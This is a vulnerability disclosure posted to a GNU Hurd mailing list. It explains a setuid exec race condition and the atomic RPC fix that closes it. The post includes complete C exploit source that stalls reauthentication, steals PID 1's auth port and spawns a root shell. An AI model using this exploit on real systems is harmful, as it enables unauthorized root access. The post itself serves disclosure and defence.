[Top][All Lists]

[Date Prev][Date Next][Thread Prev][Thread Next][Date Index][Thread Index]

[VULN 3/4] setuid exec race

From: Sergey Bugaev
Subject: [VULN 3/4] setuid exec race
Date: Tue, 2 Nov 2021 19:31:20 +0300

Short description

When trying to exec a setuid executable, there's a window of time when the
process already has the new privileges, but still refers to the old task and is
accessible through the old process port. This can be exploited to get full root
access to the system.

Background: setuid exec

setuid is of course the Unix mechanism for raising privileges, whereby a
process, upon executing a specially-marked executable file, is given the
privileges of the owner of the file (typically root).

On the Hurd, this is implemented as follows:

* A process wishing to exec an executable file calls file_exec_paths () on the
  file, effectively asking the translator that provides the file to call
  exec_exec_paths () on the task.

* If the translator wants to implement setuid behavior for the file, it
  reauthenticates the process and the provided I/O ports (file descriptors and
  cwd) to the new set of UIDs.

* The translator calls exec_exec_paths (), passing the new ports to the exec
  server along with the EXEC_SECURE flag. The EXEC_SECURE flag instructs the
  exec server to load the executable into a fresh new task that's not accessible
  to the original task, instead of reusing the same task as it does otherwise.
  (Technically, that's what EXEC_NEWTASK, which is implied by EXEC_SECURE, does;
  EXEC_SECURE enables some additional tweaks on top of that.)

* If loading the executable into the new task succeeds, the exec server calls
  proc_reassign (), which kills off the old task, assigns the new task to the
  process, and also invalidates the old process port (the process port created
  for the new task becomes the new port of the process). As far as the Mach
  personality of the system is concerned, this is a fresh new task with a fresh
  new process port; but since it keeps all the process state, from the Unix
  point of view it's still the same process, only running a new executable.

The use of a fresh task (and recreation of the process port) is necessary
because unprivileged processes have access to the task and process port of the
original process; they would get access to the new privileged process if the
task and/or process ports were kept valid.

Please note that the exec server is (almost) not involved in the actual process
of changing UIDs, that's entirely up to the translator to do -- and translators
could implement different semantics than Unix setuid.

The issue

The reauthenticated I/O ports are only given out to the new task if the exec
succeeds. But reauthenticating the process does not create a new reauthenticated
process, it only changes authentication of the same process. The process is
still accessible to the process itself, and to anyone else who has access to the
task or process port. Some time later, if the exec succeeds, the task is killed
and the process port is invalidated. During the window of time between these two
events, the process is still accessible through the old task and process ports,
but already has the new (root) privileges.

Moreover, this window of time can be easily made arbitrarily long, since the
translator (specifically, the exec_reauth () function in libshouldbeinlibc)
proceeds to reauthenticate the cwd port after reauthenticating the process. So
by the time a io_reauthenticate () request is received on the cwd port, the
process should already be reauthenticated, _and_ we know the process port won't
be invalidated before io_reauthenticate () returns.

The exploit

We create two tasks, one that will set its cwd to a fresh port (which only has
to _not_ reply to the incoming message) and start to exec a setuid executable;
the other task will get access to the process of the first task and wait until
that process is given root privileges (as far as the proc server is concerned).

>From here on, it's simple to get actual full root access (that is, a root auth
port). We get access to a task of some process that already runs as full root (I
chose PID 1), and just ask it nicely to give us its auth port using
msg_get_init_port (INIT_PORT_AUTH).

Exploit source code

#include <stdio.h>
#include <error.h>
#include <hurd.h>
#include <stdlib.h>
#include <unistd.h>
#include <signal.h>
#include <hurd/paths.h>
#include <hurd/msg.h>

main ()
  error_t err;
  pid_t child_pid;
  process_t child_proc;
  task_t pid1_task;
  mach_port_t pid1_msgport;
  auth_t root_auth;

  child_pid = fork ();
  if (child_pid < 0)
    error (1, errno, "fork");

  if (child_pid == 0)
      file_t fake_cwdir;

      sleep (1);

      err = mach_port_allocate (mach_task_self (), MACH_PORT_RIGHT_RECEIVE,
      if (err)
        error (1, errno, "mach_port_allocate");

      err = mach_port_insert_right (mach_task_self (), fake_cwdir,
                                    fake_cwdir, MACH_MSG_TYPE_MAKE_SEND);
      if (err)
        error (1, errno, "mach_port_insert_right");

      _hurd_port_set (&_hurd_ports[INIT_PORT_CWDIR], fake_cwdir);

      execlp ("su", "su", NULL);
      error (1, errno, "execlp");

  err = proc_pid2proc (getproc(), child_pid, &child_proc);
  if (err)
    error (1, err, "pid2proc");

  sleep (2);

  err = proc_pid2task (child_proc, 1, &pid1_task);
  if (err)
    error (1, err, "proc_pid2task");

  err = proc_getmsgport (child_proc, 1, &pid1_msgport);
  if (err)
    error (1, err, "proc_getmsgport");

  /* Kill the hanging child task, we no longer need it.  */
  kill (child_pid, SIGKILL);

  err = msg_get_init_port (pid1_msgport, pid1_task,
                           INIT_PORT_AUTH, &root_auth);
  if (err)
    error (1, err, "msg_get_init_port");

  fprintf (stderr, "Got root auth port :)\n");

  err = setauth (root_auth);
  if (err)
    error (1, err, "setauth");

  if (setresuid (0, 0, 0) < 0)
    error (0, errno, "setresuid");
  if (setresgid (0, 0, 0) < 0)
    error (0, errno, "setresgid");

  execl ("/bin/bash", "/bin/bash", NULL);
  error (1, errno, "failed to exec bash");


Actually, the situation is more complicated due to the "process owner" feature.
This feature turned out to itself cause problems and vulnerabilities, so I ended
up removing it altogether. The patch [0] has more details.


The setuid exec implementation is naturally a promising target to attack, since
it involves raising privileges, and implementing _that_ correctly can be
problematic even in monolithic systems -- typically, some sort of ptrace access
would not be invalidated atomically with raising privileges. Here are two
examples of that in SerenityOS [1] [2], and here's a XNU vulnerability [3]
involving setuid exec and task ports. This only becomes more challenging to do
correctly in a distributed system like the Hurd, as several pieces of state,
kept by various servers, all need to be updated as a part of setuid exec.

[1]: https://hxp.io/blog/79/hxp-CTF-2020-wisdom2/
[2]: https://github.com/SerenityOS/serenity/issues/5230
[3]: https://googleprojectzero.blogspot.com/2016/03/race-you-to-kernel.html

It is quite likely that there still are more undiscovered issues in the setuid
exec implementation.

How we fixed the vulnerability

I've made the case that all the three actions that the process server does:

* reauthenticating the process
* assigning a new task to the process
* invalidating the old process port

have to be done atomically. Making any one of them earlier (or later) than
others opens up a possibility for exploitation. To this end, we've introduced a
new RPC to do all three atomically:

/* Change the current authentication of the process and assign a different
   task to it, atomically.  The user should follow this call with a call to
   auth_user_authenticate.  The new_port passed back through the auth server
   will be the new proc port.  The old proc port is destroyed.  */
simpleroutine proc_reauthenticate_reassign (
        old_process: process_t;
        rendezvous: mach_port_send_t;
        new_task: task_t);

The exec server and exec_reauth () have then been updated to call this new RPC
instead of the old proc_reassign () and proc_reauthenticate ().

reply via email to

[Prev in Thread] Current Thread [Next in Thread]